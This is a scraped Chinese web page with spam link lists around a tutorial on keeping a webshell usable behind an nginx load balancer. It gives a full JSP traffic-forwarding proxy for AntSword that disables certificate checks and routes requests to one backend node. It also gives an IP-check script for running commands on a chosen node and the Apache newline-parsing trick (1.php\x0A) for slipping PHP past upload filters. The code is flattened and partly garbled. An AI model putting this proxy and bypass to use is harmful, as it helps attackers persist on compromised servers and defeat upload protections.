当前位置: 首页 > news >正文

网站建设岗位广西建设厅招投标中心网站

网站建设岗位,广西建设厅招投标中心网站,给别人做软件的网站,做seo的网站有那些负载均衡反向代理下的webshell上传负载均衡负载均衡下webshell上传的四大难点难点一#xff1a;需要在每一台节点的相同位置上传相同内容的webshell难点二#xff1a;无法预测下一次请求是哪一台机器去执行难点三#xff1a;当我们需要上传一些工具时#xff0c;麻烦来了需要在每一台节点的相同位置上传相同内容的webshell难点二无法预测下一次请求是哪一台机器去执行难点三当我们需要上传一些工具时麻烦来了难点四由于目标机器不能出外网解决方案如下方法一关掉其中一台机器方法二执行前先判断IP要不要执行方法三在Web 层做一次 HTTP 流量转发apache换行解析漏洞负载均衡 负载均衡是一种廉价的扩容的方案它的概念不是本文的重点不知道的可以去查资料学习。实现负载均衡的方式有很多种比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。 名称策略轮询默认按请求顺序逐一分配weight根据权重分配ip_hash根据客户端IP分配least_conn根据连接数分配fair (第三方)根据响应时间分配url_hash (第三方)根据URL分配 整体架构是这个样子 负载均衡下webshell上传的四大难点 难点一需要在每一台节点的相同位置上传相同内容的webshell 我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有那么在请求轮到这台机器上的时候就会出现 404 错误影响使用。是的这就是你出现一会儿正常一会儿错误的原因。 难点二无法预测下一次请求是哪一台机器去执行 我们在执行命令时无法知道下次的请求交给哪台机器去执行。我们执行 hostname -i查看当前执行机器的 ip 时可以看到一直在飘因为我们用的是轮询的方式还算能确定一旦涉及了权重等其它指标就让你好好体验一波什么叫飘乎不定。 难点三当我们需要上传一些工具时麻烦来了 由于 antSword 上传文件时采用的分片上传方式把一个文件分成了多次HTTP请求发送给了目标所以尴尬的事情来了两台节点上各一半而且这一半到底是怎么组合的取决于 LBS 算法 难点四由于目标机器不能出外网 由于目标机器不能出外网想进一步深入只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel可在这个场景下这些 tunnel 脚本全部都失灵了。 解决方案如下 方法一关掉其中一台机器 首先在测试阶段我们可以关闭一台服务器只保留一台机器因为健康检查机制的存在很快其它的节点就会被 nginx 从池子里踢出去那么妥妥的就能继续了。 但在真实项目中是不允许的会严重影响业务。 方法二执行前先判断IP要不要执行 1先在docker容器中安装net-tools和vim命令 apt-get update apt-get install net-tools apt-get install vim2 然后创建一下代码在两个后端服务器都上传 MYIPifconfig | grep inet 172 | awk {print $2} if [$MYIP 172.19.0.2 ]; thenecho Node1. I will execute command.\n\nifconfigelseecho Other. Try again.fi如果这里你的tomcat外网不能访问记得去Linux主机上的8080端口开放因为如果你要测试的话需要安装vim和net-tools这样一来确实是能够保证执行的命令是在我们想要的机器上了效果如图 这样操作保证了我们的命令可以执行到目标机器上但是却不能上传文件工具http隧道问题功能比较单一这种方法勉强能用。 方法三在Web 层做一次 HTTP 流量转发 第 1 步我们请求 /antproxy.jsp这个请求发给 nginxnginx 接到数据包之后会有两种情况 第 2 步把请求传递给了目标机器请求了 Node1 机器上的/antproxy.jsp接着 第 3 步/antproxy.jsp 把请求重组之后传给了Node1 机器上的 /ant.jsp成功执行。 第 2 步把请求传给了 Node2 机器, 接着第 3 步Node2 机器上面的 /antproxy.jsp 把请求重组之后传给了 Node1 的 /ant.jsp成功执行。 这里一定要保证每一台node上都要有相同的文件千万别用上传上传会将文件分片 修改 Shell 配置, 将 URL 部分填写为 web.jsp 的地址其它配置不变。 % page contentTypetext/html;charsetUTF-8 languagejava % % page importjavax.net.ssl.* % % page importjava.io.ByteArrayOutputStream % % page importjava.io.DataInputStream % % page importjava.io.InputStream % % page importjava.io.OutputStream % % page importjava.net.HttpURLConnection % % page importjava.net.URL % % page importjava.security.KeyManagementException % % page importjava.security.NoSuchAlgorithmException % % page importjava.security.cert.CertificateException % % page importjava.security.cert.X509Certificate % %!public static void ignoreSsl() throws Exception {HostnameVerifier hv new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc SSLContext.getInstance(TLS);sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}} % %String target http://172.19.0.2:8080/ant.jsp;URL url new URL(target);if (https.equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn (HttpURLConnection)url.openConnection();StringBuilder sb new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baosnew ByteArrayOutputStream();OutputStream out2 conn.getOutputStream();DataInputStream innew DataInputStream(request.getInputStream());byte[] buf new byte[1024];int len 0;while ((len in.read(buf)) ! -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream conn.getInputStream();OutputStream out3response.getOutputStream();int len2 0;while ((len2 inputStream.read(buf)) ! -1) {out3.write(buf, 0, len2);}out3.flush();out3.close(); %apache换行解析漏洞 Apache HTTPD是一款HTTP服务器它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞在解析PHP时1.php\x0A将被按照PHP后缀进行解析导致绕过一些服务器的安全策略。 搭建完毕后Apache运行在http://your-ip:8080 漏洞复现 上传一个名为1.php的文件被拦截 在1.php后面插入一个\x0A只能是一个\x0A不再拦截
http://www.sczhlp.com/news/264319/

相关文章:

  • 优质做网站价格网站首页制作代码
  • html学校网站模板郑州市建设局官方网站
  • 什么学做网站雄安做网站优化的公司
  • 玩具网站建设策划书网站栏目功能
  • 最佳网站管理咨询公司名字起名大全
  • 织梦网站模板套用网站建设中面包屑导航的特点
  • 记事本做网站怎么改字体颜色学校集约网站建设
  • 宣讲家网站 家风建设专业建设网站公司
  • 苏州和城乡建设局网站文本编辑器做网站
  • 网站数据库访问网站建设分辨率
  • 做网站廊坊做电商需要学什么
  • 记事本做网站怎么插图中国印花图案设计网站
  • 网站建设及推广文案做一家仓储用地的网站
  • wordpress 游戏 模板下载网站关键词排名优化软件
  • 申请网站空间怎么做wordpress轮播图
  • 成都网站建设scjsc888电影网站怎么做要多少钱
  • 电子商务网站开发方案工商局企业信息查询系统官网
  • 做外贸在哪个网站比较好东莞网络营销外包有哪些
  • seo实战培训恩施seo快速排名
  • 资海集团网站建设启东市住房城乡建设局网站
  • 开商城网站多少钱广州番禺区有什么大学
  • 辗转相除法
  • 做网站需要多大的空间网站如何做担保交易
  • 建筑专业网站建设wordpress二级导航
  • 扁平化的网站结构图软件商店安装下载oppo
  • wordpress做网站优点崇义做网站
  • 上线了建站教程php图片怎么导入wordpress
  • 用dw做网站的基本步骤网站建设部门管理制度
  • 国内免费推广产品的网站html前端开发
  • 自已能做网站建设吗广西建设执业注册中心中心网站